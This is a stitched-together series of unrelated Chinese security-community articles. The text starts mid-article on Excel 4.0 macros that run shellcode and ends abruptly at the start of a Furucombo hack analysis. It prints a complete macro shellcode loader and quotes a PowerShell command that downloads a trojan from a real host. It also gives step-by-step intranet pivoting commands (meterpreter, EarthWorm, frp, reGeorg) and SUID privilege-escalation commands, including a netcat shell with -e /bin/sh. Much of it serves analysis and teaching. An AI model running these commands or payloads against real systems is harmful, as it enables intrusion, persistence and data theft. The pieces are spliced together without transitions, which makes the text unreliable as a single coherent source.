4.0宏语言包括函数调用以及上百个内建函数，攻击者可以编写子程序或调用内建函数实现同VBA提供相同功能的恶意代码，下图是Outflank的安全研究人员提供的例子：
下表是各个宏公式具体含义：
公式内容 | 功能
---|---
=REGISTER(“Kernel32”, “VirtualAlloc”, “JJJJJ”, “VAlloc”, , 1, 9) |
设置kernel32!VirtualAlloc别名为VAlloc
=VAlloc(0,1000000,4096,64) |
调用VAlloc函数分配大小为1000000，内存属性为PAGE_EXECUTE_READWRITE的内存
=REGISTER(“Kernel32”, “WriteProcessMemory”, “JJJCJJ”, “WProcessMemory”, , 1,
9) | 设置kernel32!WirteProcessMemory别名为WProcessMemory
=SELECT(R1C2:R999:C2,R1C2) | 选择第一行第二列所有数据
=SET.VALUE(R1C3, 0) | 设置第一行第三列数据为0
=WHILE(ACTIVE.CELL()<>”END”) | 循环读取刚刚选择的数据直到“END”标识
=WProcessMemory(-1, R2C1 + R1C3 * 255,ACTIVE.CELL(), LEN(ACTIVE.CELL()), 0) |
将刚刚读取的内容写入由VAlloc分配的内存地址
=SET.VALUE(R1C3, R1C3 + 1) | 将表格R1C3的值加一
=SELECT(, “R[1]C”) |
=NEXT() | 下一次循环
=REGISTER(“Kernel32”, “CreateThread”, “JJJJJJJ”, “CThread”, , 1, 9) |
设置kernel32!CreateThread别名为CThread
=CThread(0, 0, R2C1, 0, 0, 0) | 调用CThread函数创建线程并设置线程入口为由VAlloc分配的内存
=HALT() | 标识子过程结束，类似C语言的return
总体来说，该Excel 4.0宏代码实现的功能逻辑是：
第1步：调用kernel32!VirtualAlloc分配一段大小为1000000的可读可写可执行内存
第2步：循环读取第二列的数据并调用kernel32!WriteProcessMemory函数写入第1步分配的内存直到END标志
第3步：调用kernel32!CreateThread函数创建线程，并设置线程入口为第1步分配的内存
经过这3步操作，已然实现利用Excel 4.0宏执行ShellCode的目的。
## 解析XLS中的Excel 4.0宏
### Execl文件（.xls）解析
Execl 4.0宏样本使用的XLS文件其实是一个MS-CFB(Microsoft Compound File Binary File)文件，而MS-CFB文件采用类似FAT文件系统的结构保存数据。很多现有工具可以解析该结构，比如OffVis、oletools、Structured Storage
eXplorer等。学习MS-CFB文件结构推荐使用OffVis，以下是用该工具打开的效果图：
读取文件内容推荐使用Structured Storage eXplorer，以下是用该工具打开的效果图：
如需手工解析请参考：
<https://msdn.microsoft.com/en-us/library/dd953721(v=office.12).aspx>。
### Book/Workbook解析
如上图所示，XLS文件中的公式内容均保存到Workbook中，要想从中读取公式就需要解析该结构。根据Microsoft提供的MS-XLS文档可知该Workbook结构由一个个顺序排列的record组成：
Record由三个字段构成，分别是记录类型、记录大小和记录数据，以下是MS-XLS文档所记录：
记录类型和记录大小各占2个字节，记录数据由记录大小决定，如下图所示该记录类型为0x0809、记录大小为0x0010(16bytes)、记录数据为00 06
05 00 54 38 CD 07 C1 C0 01 00 06 07 00 00
其中，记录类型必须为Microsoft提供的Record
Enumeration类型，类型表格请参考<https://msdn.microsoft.com/en-us/library/dd945945(v=office.12).aspx>。
Recode type为133(BoundSheet8)的recode包含了表格(sheet)的类型信息，包括表格名称、隐藏状态和表格类型等
以下是BoundSheet8的结构：
lbPlyPos占4bytes，指定了表格BOF记录开始的book/workbook流偏移。
dt占1byte，指定了表格类型。
Value | Meaning
---|---
0x00 | Worksheet or dialog sheet
0x01 | Macro sheet(Execl 4.0宏)
0x02 | Chart sheet
0x06 | VBA module(VBA宏)
stName标识表格名称，包含2bytes长度和字符串。
以本次分析的样本为例：
sha256：ac6f6a9463dabeb485973a0bc440e740627e3d2a0593f1e6c26dbd116d6b2e3e
下图标识了2个表格，其中第一个表格为可见、带有Execl 4.0宏且名称为Macro1，第二个表格属性为可见、类型为Worksheet或dialog
sheet且名称为Sheet1。
由上图可知，Execl 4.0宏表格BOF
recode流偏移为0x001AF6，定位到流偏移为0x00001AF6的recode如下图所示，其类型为2057，对应确实是BOF记录：
然后从BOF recode开始遍历，寻找记录类型为6(Execl 4.0宏公式)的recode直到EOF recode：
### Excel 4.0宏对象解析
记录类型为6的recode包含了宏公式对象，其格式如下图所示：
Cell占6字节，指定公式所在单元格。
FormulaValue占8字节，指定公式的值。
CellParsedFormula结构用于指定公式。
如下图所示，包含2个Formula，第一个由数据0F 00 17 08 00 63 61 6C 63 2E 65 78 65 42 01 6E
00指定公式，第二个由数据04 00 42 00 36 00指定公式。
CellParsedFormula结构如下：
ccb占2字节，指定rgce大小。
rgce指定至少一个公式数据，包含函数号，参数等。
rgce结构大致如下图所示
rgceType占2bytes，指定公式数据类型，类型请参考<https://msdn.microsoft.com/en-us/library/dd948654(v=office.12).aspx>。
下图灰色背景16进制数据为样本公式数据：
第一处公式数据解析结果如下：
* 0x000F表示公式数据长度，即ccb。
* 0x17表示公式数据类型，即rgceType，此处0x17表示PtgStr，即后面紧跟字符串。
* 0x0008表示公式数据长度，即sLen。
* calc.exe表示数据，即data。
* 0x42表示公式数据类型，即rgceType，此处0x42表示PtgFuncVar。
* 0x01表示函数参数个数，即NumberOfArg，此处为0x01代表仅一个参数。
* 0x006E ^ 0x0001=0表示FuncID将从Ftab表中查询，而不是从Cetab表中查询
PtgFuncVar定义参考<https://msdn.microsoft.com/en-us/library/dd907478(v=office.12).aspx>。
* 0x006E表示调用函数的ID，即FuncID，此处为0x6E，查询Ftab表可该调用EXEC函数，查询参考<https://msdn.microsoft.com/en-us/library/dd904817(v=office.12).aspx>。
总体来说，第一处公式数据确定了调用EXEC函数，参数为”calc.exe”。同理，第二处公式调用Ftab表中的0x36号函数，查询可知此处为调用HALT函数。
依次，则可以逐个解析Excel中的所有公式函数及相关数据。
## 在野样本分析
### 传播Imminent Monitor远控木马的攻击样本分析
360威胁情报中心在2018年10月18日首次捕获到利用Excel 4.0宏传播Imminent
Monitor远控木马的攻击样本，在VirusTotal上仅有一家杀毒软件能够查杀：
Excel 4.0恶意宏代码隐藏在表格中，选择取消隐藏则可看到Excel 4.0宏代码：
该宏代码会从：
<hxxps://jplymell.com/dmc/InvoiceAug5e1063535cb7f5c06328ac2cd66114327.pdf>下载后缀为PDF的文件并执行。而该文件实际为一个恶意的msi文件，通过msiexec执行后会在%temp%目录下解密释放一个.NET类型的可执行文件
，命名为033ventdata.exe并执行：
#### 033ventdata.exe分析
该程序是经过混淆的.NET程序，代码主要结构如下：
Form1中vBM=会调用gRQ=函数：
gRQ=函数会首先获取一些配置信息，包括需要连接的CC地址：linkadrum.nl，并判断当前进程路径是否为”%temp%\ProtectedModuleHost.exe”，若不是则移动当前文件到该目录下，并删除当前进程文件：
若进程路径符合，则在启动目录下生成对应的LNK自启动文件，实现自启动：
之后启动傀儡进程InstallUtil.exe，注入木马程序的主控PE文件：
#### 木马主控部分分析
注入的木马主控PE文件也是.NET程序，运行后会内存加载7z的LZMA的库DLL，接着调用lzma库去解压自身携带的木马主控EXE加载到内存执行。该EXE具有强混淆，内存加载执行后会通过linkadrum.nl上线并接受指令实现完整的远控功能：
通过反编译后还可以看到明显的字符串特征：“Imminent-Monitor-Client-Watermark”
而Imminent Monitor RAT是一款商业远控软件，官方售卖网站为：imminentmethods.net，基本囊括了所有远控功能：
### 早期利用Excel 4.0宏的宏病毒样本
通过大数据关联，360威胁情报中心还发现大量早期利用Excel 4.0宏进行传播的宏病毒样本：
MD5：66bceee6748d720dc6910f8cac7991da
该类宏病毒样本在互联网至少存活了数年，样本是被Excel 4.0宏病毒感染了的Excel文件，以其中一个样本作为示例分析，打开后如下图：
右键点击标签栏，会发现该样本隐藏了一个表(m1)_(m2)_(m3)：
取消隐藏后，会发现在(m1)_(m2)_(m3)表里，还隐藏了列，取消隐藏列后会发现如下Excel 4.0宏代码：
其中第一列就是Excel
4.0宏的代码，其功能为在C盘创建一个excel.txt文件，然后将表中C1:C108区域的内容写入该文件。最后再利用VBA.INSERT.FILE把该excel.txt文件加载到当前运行环境中。最后利用run函数调用VBA里的createcabfile函数。createcabfile函数的作用是把B列的数据写到C盘，然后解压并隐藏，最后修改其Excel的模板文件，实现蠕虫传播功能。
## 防护及总结
从近年来的高级攻击事件分析中可以看出，由于利用Office 0day等漏洞进行攻击的成本较高，多数攻击者更趋向于利用Office
VBA宏执行恶意代码。而对于本次公开的Excel
4.0宏利用技术则会对杀软查杀带来新的挑战。企业用户应尽可能小心打开来源不明的文档，如有需要可通过打开Office Excel中的：文件-选项-信任中心-信任中心设置-宏设置，来禁用一切宏代码执行：
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此类攻击以及对该类免杀漏洞利用样本的精确检测。360威胁情报中心的自研查杀引擎也可以独家静态提取攻击样本中的宏以及ShellCode利用代码：
## IOC
MD5 | f4f785cc911925b8a2dd2bd2b2d1b6ef
---|---
URL |
<https://jplymell.com/dmc/InvoiceAug5e1063535cb7f5c06328ac2cd66114327.pdf>
CC | linkadrum.nl
## 参考
[1].<https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/>
[2].<https://msdn.microsoft.com/en-us/library/cc313154(v=office.12).aspx> | 社区文章 |
# 一次利用泛微OA最新漏洞攻击活动分析拓展
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
2019年9月17日泛微官方更新了关于e-cology OA的安全补丁，修复了一个远程代码执行漏洞。该漏洞位于e-cology
OA系统BeanShell组件中，BeanShell组件为系统自带且允许未授权访问。攻击者通过构造恶意请求调用该存在问题的组件可在目标服务器执行任意命令。
在其后的几天，奇安信团队陆续接到了几起组织遭受入侵的应急响应请求。我们确认了攻击者通过利用了泛微e-cology
OA的最新漏洞进行初始渗透，并通过从一些白网站下载后续的恶意代码。奇安信病毒响应中心还原了攻击过程，并对相关的恶意代码进行了分析，分享给安全社区来共同对抗威胁。
## 攻击过程还原
中招组织的机器是一台VPN服务器，运行了泛微的OA服务，存在最新被暴露的漏洞，攻击利用漏洞以后获取在服务器上的命令执行，漏洞被触发后从upload.erp321.com网站的静态资源下载木马到本地执行。
erp321.com是聚水潭开发的一个电商SaaS
ERP系统，需要注册才能使用该系统，本次攻击使用了upload.erp321.com页面的静态资源放了一个木马，木马如何被传到此网站上目前未知，可能需要网络本身做排查。
分析确认被植入到网站并被受攻击者下载的木马为大灰狼远控的一个变种，木马执行起来后会去alicdn.com（又一个白网站，图床系统，可以通过正常的工具上传文件）下载下一阶段的Payload，其为伪装GIF文件的加密后的恶意代码，在内存中解密加载后连接C2进行远程控制。
## 攻击恶意代码细节
初始的漏洞利用的命令行参数如下：
powershell (new-object System.Net.WebClient).DownloadFile
( 'http://upload.erp321.com/files/temp/0fedee73171e4b5a9e63494526fce364.jpg',
'C:/m.exe')
通过“WEAVER\JDK\bin\javaw.exe”目录下的javaw执行调用Powershell下载木马到本地执行，WEAVER目录就是泛微的安装目录。
访问上述的这个静态资源，确认为一个伪装图片的木马：
图2.1 erp321网站上伪装图片的木马
下载回来的木马使用了豌豆夹的图标，信息如下：
内部文件名 | wandoujia.exe
---|---
MD5 | f426848f241e000e9f0953b0af53ce19
是否加壳 | 是
编译时间 | 2019-05-10 23:25:56
图标 |
该样本执行起来后，会先解密一个URL，该URL主要是为了下载远控的核心DLL，解密算法为先base64解码，然后add 0x7a再xor
0x59，之后进行RC4揭秘，密钥为“Getong538”，解密的URL是alicdn上面的一个静态资源：
[https://ae01[.]alicdn[.]com/kf/HTB1wRgbdEuF3KVjSZK95jbVtXXac.gif](https://ae01%5B.%5Dalicdn%5B.%5Dcom/kf/HTB1wRgbdEuF3KVjSZK95jbVtXXac.gif)
图2.2 循环从URL下载加密的木马核心模块
下载后的文件存放在Program Files下的AppPatch目录下，文件名为：
HTB1wRgbdEuF3KVjSZK95jbVtXXac.cer
图2.3 加密的核心模块存放路径
然后读取该文件，通过2轮RC4解密下载回来的木马核心模块后，在内存加载该DLL，调用被加载起来DLL的导出函数DllFunpgradrs，传递配置信息执行恶意代码：
图2.4 内存加载核心模块并传递配置信息
内存加载的DLL是一个伪装为KuGou2012的DLL，其实是一个大灰狼远控的核心DLL模块，通过传递配置信息回联服务器进行远程控制。
图2.5 解密后的核心模块的文件信息
传递过来的配置信息的解密算法是先base64解密，然后add 0x77再xor 0x56，最后做RC4解密：
图2.6 核心模块解密配置文件的算法
解密后的数据如下，包含C2地址和一些其他的备用上线方式和分组等：
xmr.shfryy.com 8090 8090
qianyueadmins
K_120305
Glfsvcs Geolocation Services
此服务将监视系统的当前位置并管理地理围栏(具有关联事件的地理位置)。如果你禁用此服务，应用程序将无法使用或接收有关地理位置或地理围栏的通知。
%CommonProgramFiles%\Intelnet\
iexplorer.exe
windows
默认分组 1 2 97 1 0
http://www.ip138.com/ips138.asp?ip=%s&action=2 >> </
http://dns.aizhan.com/?q=%s “,” “, http://users.qzone.qq.com/fcg-bin/cgi_get_portrait.fcg?uins=%s
---
## 关联拓展分析
通过C2我们关联到9个历史样本：
图3.1 关联到的其他木马样本
而这些样本的远控核心模块是从yuyin.baidu.com站下载解密执行的，链接如下：<http://yuyin.baidu.com/file/get/10128>
通过关联出来的样本整理表格如下：
MD5
|
文件名
|
修改时间
|
编译时间
---|---|---|---
f619fcbe9d0715da3c757f5135fe3f2d
|
chkfs.exe
|
2018-12-30 14:03
|
2018-10-8 03:18
c9c1bffca9c08312e4008e5a0cc803b3
|
chkfs_2.exe
|
2018-8-9 15:41
|
2018-5-3 21:56
586fb89941ac5c7643a700fbc307e87e
|
iFunBox.exe
|
2019-9-9 18:03
|
2018-5-3 21:56
61db571255f82fb0b36be6c396b0732c
|
网易UU网游加速器.exe
|
2019-4-28 07:40
|
2018-5-3 21:56
b4b808ab6d20864940912feeca556211
|
逆水寒启动器.exe
|
2018-8-29 12:16
|
2018-5-3 21:56
84623f0e8714284c33452e407f7f75ec
|
逆水寒启动器_1.exe
|
2018-8-28 02:17
|
2018-5-3 21:56
95d4bcd2edf30022bf75cc5b5dca49b3
|
逆水寒启动器_2.exe
|
2018-6-15 06:30
|
2018-5-3 21:56
978c47da5e26732052556711f763a201
|
逆水寒启动器_3.exe
|
2018-8-29 15:01
|
2018-5-3 21:56
63a13d8bfd100d4ffae43264041f0f60
|
逆水寒启动器_4.exe
|
2018-9-6 11:24
|
2018-5-3 21:56
8f5302a31c7540a66ef595cb772e7120
|
逆水寒启动器_6.exe
|
2018-6-14 15:38
|
2018-12-25 06:11
值得关注的是上述样本中攻击者使用的C2：xmr.shfryy.com解析到的IP地址相应的服务器属于中图电子，该URL上有下载App的服务：<http://124.232.156.117:8080/>
图3.2 中图电子APP服务
该App安装后，打开是一个登录界面，登录产生的数据包如下，应该是中图电子正常的App服务：
图3.3 登录App的数据包
服务器的80端口运行着一个中图ERP的Web服务：
图3.4 中图ERP登录界面
目前中图电子的服务器上为何开启了恶意代码需要的C2服务还未有明确答案，需要受影响方进一步排查。
这次攻击的流程图可以总结如下：
图3.5 攻击者攻击流程图
VirusTotal上获取的对域名解析的历史C2的梳理：
解析时间
|
IP
|
IP归属
|
归属地
---|---|---|---
2019-9-14
|
124.232.156.117
|
中图ERP
|
湖南省长沙市电信IDC机房
2019-2-5
|
119.147.115.83
|
攻击者使用IP
|
广东省东莞市电信
2019-1-7
|
121.12.168.23
|
攻击者使用IP
|
广东省电信
2018-12-3
|
47.104.64.231
|
攻击者使用IP
|
加拿大
2018-9-6
|
60.205.222.252
|
攻击者使用IP
|
广东省深圳市英达通信
2018-7-10
|
222.186.59.5
|
攻击者使用IP
|
江苏省镇江市电信
2018-3-30
|
47.89.58.141
|
|
加拿大
利用奇安信的威胁分析平台 <https://ti.qianxin.com>
，我们发现了另外一个域名：rouji.khqy.net，与本次攻击使用的C2域名同时解析到同样的IP上，而这个域名带有远控家族的标签：
图3.6 奇安信威胁分析平台截图
## 总结
本次以泛微OA漏洞进行攻击的团伙善于快速使用已知的漏洞进行渗透，攻击目标主要包括一些ERP系统，攻击目的可能在于窃取ERP系统的数据进行不法行为（包括倒卖数据、诈骗、修改数据、窃取秘密等）。除此以外攻击者偏好将木马及后续Payload的存放在，一些可正常存放静态资源或入侵得手的白网站上，以逃避防守方基于黑域名的入侵检测，体现了很强的对抗意识和能力。
## IOC
文件MD5
af4bc7d470bec080839d956dae75c1a6
f426848f241e000e9f0953b0af53ce19
f619fcbe9d0715da3c757f5135fe3f2d
c9c1bffca9c08312e4008e5a0cc803b3
586fb89941ac5c7643a700fbc307e87e
61db571255f82fb0b36be6c396b0732c
b4b808ab6d20864940912feeca556211
84623f0e8714284c33452e407f7f75ec
95d4bcd2edf30022bf75cc5b5dca49b3
978c47da5e26732052556711f763a201
63a13d8bfd100d4ffae43264041f0f60
8f5302a31c7540a66ef595cb772e7120
URL
http://upload.erp321.com/files/temp/0fedee73171e4b5a9e63494526fce364.jpg
<https://ae01.alicdn.com/kf/HTB1wRgbdEuF3KVjSZK95jbVtXXac.gif>
<http://yuyin.baidu.com/file/get/10128>
xmr.shfryy.com:8090
rouji.khqy.net
bert.shfryy.com
RC4密钥
99Kother5
eee888Yur
Getong538
Strong798
## 参考链接
【预警通告】泛微e-cology OA 远程代码执行漏洞安全预警通告
https://sec.thief.one/article_content?a_id=dbfc576e2310babe1f3b5911df11fe6d | 社区文章 |
这篇文章列举出我用过的内网代理方法，也算是对内网渗透代理姿势的巩固，也方便日后查阅。
## Meterpreter
`Meterpreter`可以说是渗透中用得较多的工具，在反弹了处于内网的目标`shell`之后，介绍两种代理方式。
### portfwd
`portfwd`用于转发单个端口，当你目的性很强的情况下，比如只需要目标的`3389`端口等，这不失为一种较好的方法。
详细使用语法见：<https://www.offensive-security.com/metasploit-unleashed/portfwd/>
大致如下：
meterpreter > portfwd add –l 7003 –p 3389 –r 192.168.52.138
# 添加转发 -l：服务器监听端口 -p：内网主机需转发端口 -r：目标内网主机ip
meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191
# 删除转发
meterpreter > portfwd list
# 列出当前正在侦听和转发的端口列表
meterpreter > portfwd flush
# 移除所有转发端口
### socks代理
`socks`代理只是`tcp`一层往上，如`icmp`、`arp`等就无法被代理。
`msf`中内置了三个`socks`代理模块，分别是`socks4a`、`socks5`、`socks_unc`。一般常使用
`socks4a`和`socks5`进行代理。其二者只是由于所支持的具体应用不同而存在差异。`socks4`只支持`TCP`协议而`socks5`支持`TCP/UDP`协议，还支持各种身份验证机制等协议，也就是说这里使用`socks5`的话还需要设置用户名与密码。
在获取`shell`的机器上添加路由
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.21.0/24
# 添加路由
meterpreter > run autoroute -p
# 显示路由
meterpreter > route flush
# 删除
可以先通过`arp`扫描内网大概存活机器情况
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.21.0/24
然后建立`socks4`代理，
meterpreter > background
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > set srvport 1080
msf5 auxiliary(server/socks4a) > run
设置完成后配置`proxychains`，成功
`socks5`模块也同理，只是会多设置一个用户名与密码。
参考：
<https://blog.csdn.net/qq_36119192/article/details/105872076>
<https://klionsec.github.io/2016/09/25/msf-socks4a/>
## NATBypass
[NATBypass](https://github.com/cw1997/NATBypass)是一个端口转发工具，类似于`lcx`，称为`golang`版`lcx`，可编译为`linux`或`windows`版本。
具体原理大概就是公网`vps`监听两个本地端口，内网目标主机建立一个端口转发，比如将本地`3389`转发到公网`vps`的一个端口，`vps`监听的另一个端口就相当于内网主机`3389`。
公网vps
nb -listen 1997 2017
内网主机
nb -slave 127.0.0.1:3389 x.x.x.x:1997
# x.x.x.x是公网vps的IP
本机直接访问公网`vps`的`2017`端口即可实现远程内网主机。
## ssh隧道
`ssh`可以端口转发或是建立`socks5`隧道。
### 公网主机建立SOCKS隧道
如果是具有公网地址的主机利用`ssh`建立`socks5`隧道就简单了：
ssh -N -f -D 9070 x.x.x.x
随后编辑本机`/etc/proxychains.conf`文件：
代理成功：
浏览器设置代理：
### 通过公网主机穿透两个内网
设想一下，你和目标主机分属不同的内网，从外界都无法直接连通。不过好在这两个内网都可以访问公网（JumpHost），你考虑通过一台公网机器建立两个内网之间的隧道。
在目标主机中执行：
ssh -qTfNn -R 2222:localhost:22 JumpHost
现在登录公网主机执行：
ssh -p 2222 localhost
达到的效果只是将目标主机的端口转发到了公网，但是并未实现`socks`代理，思考后，尝试了后都不成功，不知可行否，若有师傅告知非常感激！
参考：<https://cherrot.com/tech/2017/01/08/ssh-tunneling-practice.html>
## Earthworm
简称`EW`，[官方项目](https://github.com/rootkiter/EarthWorm)已停止更新，可在[fork地址](https://github.com/bestreder/ew)下载。
详细使用语法见：<http://rootkiter.com/EarthWorm/>
`EW`功能很强大，提供“正向”、“反向”、“多级级联”等方式打通隧道，更适用不同的操作系统，`Linux`、`Windows`、`MacOS`、`Arm-Linux` 。下面介绍一种简单的反向代理方法。
公网`vps`执行
./ew_for_linux64 -s rcsocks -l 7010 -e 7011
目标内网主机执行
.\ew_for_Win.exe -s rssocks -d x.x.x.x -e 7011
# windows
./ew_for_linux64 -s rssocks -d x.x.x.x -e 7011
# linux
本地攻击机即可通过`proxychains`或者浏览器设置`socks5`代理至公网`vps`的`7011`端口即可。
注：无意间浏览该工具作者的博客发现了该工具的新版本，<http://rootkiter.com/Termite/> 还没来得及测试使用，先分享一下。
## frp
`frp`作为反向代理工具胜在稳定，但是其依赖配置文件，溯源容易。
项目地址：<https://github.com/fatedier/frp>
可用于端口映射或打通`socks`隧道，下面介绍`socks`隧道代理
公网vps主机`frps.ini`文件
[common]
bind_port = 7000
token = password
启动`frps`
./frps -c ./frps.ini
目标内网主机`frpc.ini`文件
[common]
server_addr = x.x.x.x
server_port = 7000
token = password
[socks5]
type = tcp
remote_port = 7004
plugin = socks5
启动`frpc`
./frpc -c ./frpc.ini
本地攻击机修改`/etc/prxoychains.conf`配置文件即可
socks5 x.x.x.x 7004
## 基于web服务的socks5隧道
基于`web`服务的`socks`隧道使用方便，可用于突破网络限制。常用的工具有：[reGeorg](https://github.com/sensepost/reGeorg)，[reDuh](https://github.com/sensepost/reDuh)，[Tunna](https://github.com/SECFORCE/Tunna)等。
使用方法都大致一样，上传对应网站语言的脚本文件到目标内网服务器，本地利用脚本连接建立`socks5`隧道即可。
比如`reGeorg`：
根据目标服务器解析语言，选择脚本上传到服务器端，访问显示`Georg says, 'All seems fine'`，表示脚本运行正常。
本地攻击主机运行
python2 reGeorgSocksProxy.py -p 7001 -u http://url/tunnel.php
监听`7001`端口，出现`Georg says, 'All seems fine'`字样表明运行正常。可结合`prxoychains`进行代理。
个人博客：www.zjun.info | 社区文章 |
# ALPACA攻击：针对TLS实现的跨协议攻击
|
##### 译文声明
本文是翻译文章，文章原作者 alpaca-attack，文章来源：alpaca-attack.com
原文地址：<https://alpaca-attack.com/>
译文仅供参考，具体内容表达以及含义原文为准。
ALPACA攻击可以针对TLS保护的安全网站进行跨协议攻击。
## TLS
TLS被广泛用于增强HTTP、IMAP、SMTP、POP3、FTP等应用层协议的机密性、完整性和真实性。但TLS并没有将TCP连接与应用层协议绑定。因此，中间人攻击者可以重定向TLS流量到不同的TLS服务终端到另一个IP地址或端口。比如，如果子域名之间共享通配符证书(Wildcard
Certificates)，攻击者就可以将流量从一个子域名重定向到另一个子域名，生成有效的TLS会话。
## ALPACA攻击概述
ALPACA是一种利用实现不同协议的TLS服务器的应用层协议内容混淆攻击。攻击者可以将一个子域名的流量重定向到另一个子域名，生成有效的TLS会话。这会打破TLS认证，并可能进一步发起跨协议攻击。
攻击者对web服务器发起跨协议攻击，利用有漏洞的FTP和邮件服务器可以分为三种方式。
* 在上传攻击（Upload Attack）中，攻击者可以窃取认证cookie和其他隐私数据。
* 在下载攻击（Download Attack）中，攻击者可以执行存储型XSS攻击。
* 在反射攻击中，攻击者可以在受害者网站环境下执行反射XSS攻击。
研究人员对针对TLS的跨协议攻击进行了分析，并对web服务器进行案例研究，发现攻击者可以重定向受害者web服务器的HTTPS请求到SMTP、IMAP、POP3、FTP服务器。在真实攻击场景下，攻击者可以成功提取会话cookie和其他依你说数据，并可以在有漏洞的web服务器上执行任意JS代码，成功绕过TLS。
**ALPACA攻击是通用攻击方式？**
研究人员分析发现ALPACA攻击是通用的，TLS连接的真实早在应用层数据交换前就被黑了。
**受影响的协议或设备？**
ALPACA攻击事实上是TLS的服务器认证漏洞，所以是有TLS服务器都可能会受到该攻击的影响。
但在实际场景中，漏洞的利用场景还是相对有限的。因此，可以分为有漏洞的服务器和可利用的服务两类：
* 在web服务器和FTP服务器共享证书的情况下，如果攻击者有权限在FTP服务器上写入，这种情况就比较危险。
* 如果web服务器与SMTP\POP3\IMAP服务器共享证书，那么根据服务器的具体行为，会带来不同情况的危险。
**攻击的实际可能性**
大多数攻击都需要MIMT攻击者，也就是说攻击者要拦截和修改受害者浏览器发送给web服务器的数据。这种情况在互联网环境下是比较困难的，但是在本地网络上被利用的可能性更大一些。此外，有一些攻击的变种并不需要中间人，因此更加危险。
研究人员将在即将召开的Black Hat USA 2021和USENIX
Security2021大会上作关于ALPACA攻击的演讲和展示，更多研究论文参见：<https://alpaca-attack.com/ALPACA.pdf>
相关代码参见GitHub：<https://github.com/RUB-NDS/alpaca-code/> | 社区文章 |
# 【安全科普】Linux提权——利用可执行文件SUID
|
##### 译文声明
本文是翻译文章，文章来源：pentestlab.blog
原文地址：<https://pentestlab.blog/2017/09/25/suid-executables/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：90RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**SUID**
**SUID**
（设置用户ID）是赋予文件的一种权限，它会出现在文件拥有者权限的执行位上，具有这种权限的文件会在其执行时，使调用者暂时获得该文件拥有者的权限。那么，为什么要给Linux二进制文件设置这种权限呢？其实原因有很多，例如，程序ping需要
**root权限** 才能打开网络套接字，但执行该程序的用户通常都是由普通用户，来验证与其他主机的连通性。
但是，如果某些现有的二进制文件和实用程序具有SUID权限的话，就可以在执行时将权限提升为root。其中，大家熟知的具有提权功能的Linux可执行文件包括：
Nmap
Vim
find
Bash
More
Less
Nano
cp
以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说，这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们，然后将所有错误重定向到/dev/null，从而仅列出该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
查找SUID可执行文件
以上所有二进制文件都将以root用户权限来执行，因为它们的权限中包含“s”，并且它们的属主为root。
ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap
SUID可执行文件——Nmap
**
**
**Nmap**
较旧版本的Nmap（2.02至5.21）带有交互模式，从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中，因此可以使用交互式控制台来运行具有相同权限的shell。
nmap -V
识别Nmap的版本
为了启动交互模式，可以使用Nmap参数“interactive”。
Nmap——交互模式
以下命令将提供一个提权后的shell。
nmap> !sh
sh-3.2# whoami
root
通过Suid Nmap二进制文件获得Root Shell
此外，还有一个Metasploit模块，也可以通过SUID Nmap二进制文件进行提权。
exploit/unix/local/setuid_nmap
**
**
**Find**
实用程序find用来在系统中查找文件。同时，它也有执行命令的能力。
因此，如果配置为使用SUID权限运行，则可以通过find执行的命令都将以root身份去运行。
touch pentestlab
find pentestlab -exec whoami ;
Find执行命令的功能
由于大多数Linux操作系统都安装了netcat，因此可以将提权后的命令提升为root shell。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;
通过Find运行Netcat
连接到打开的端口就能得到一个root shell。
netcat 192.168.1.189 5555
id
cat /etc/shadow
通过Find取得Root Shell
**
**
**Vim**
Vim的主要用途是用作文本编辑器。 但是，如果以SUID运行，它将继承root用户的权限，因此可以读取系统上的所有文件。
vim.tiny /etc/shadow
Vim ——以root权限读取文件
此外，我们还可以通过Vim运行shell来执行只有root才能完成的操作。
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
Vim——Root Shell
**
**
**Bash**
以下命令将以root身份打开一个bash shell。
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
Bash——Root Shell
**
**
**Less**
程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。
less /etc/passwd
!/bin/sh
Less——Root Shell
**
**
**结束语**
由于通过误设SUID的可执行文件可以轻而易举的实现提权，因此，管理员应仔细审查所有SUID二进制文件，看看到底是否真的需要使用提权后运行。在这个审查过程中，应该特别关注能够在系统上执行代码或写入数据的那些应用程序。 | 社区文章 |
# 是后门，还是大意？Furucombo遭黑客攻击事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 事件背景
Furucombo推出于2020年3月份，支持Uniswap交易，Compound供应功能，还提供闪电贷的用户界面，使得普通用户也可以使用闪电贷策略。
零时科技监控到消息，北京时间2021年2月28日早7时，Furucombo官方发推称Furucombo代理遭到攻击者攻击，1500万美元受到影响，并说明取消相关组件授权，受到攻击的合约地址0x17e8Ca1b4798B97602895f63206afCd1Fc90Ca5，随后零时科技安全团队立刻对该安全事件进行复盘分析。
## 事件分析
通过初步分析，可以得到攻击者的钱包地址为0xb624E2b10b84a41687caeC94BDd484E48d76B212，目前该地址已被etherscan标记为Furucombo
Hacker。
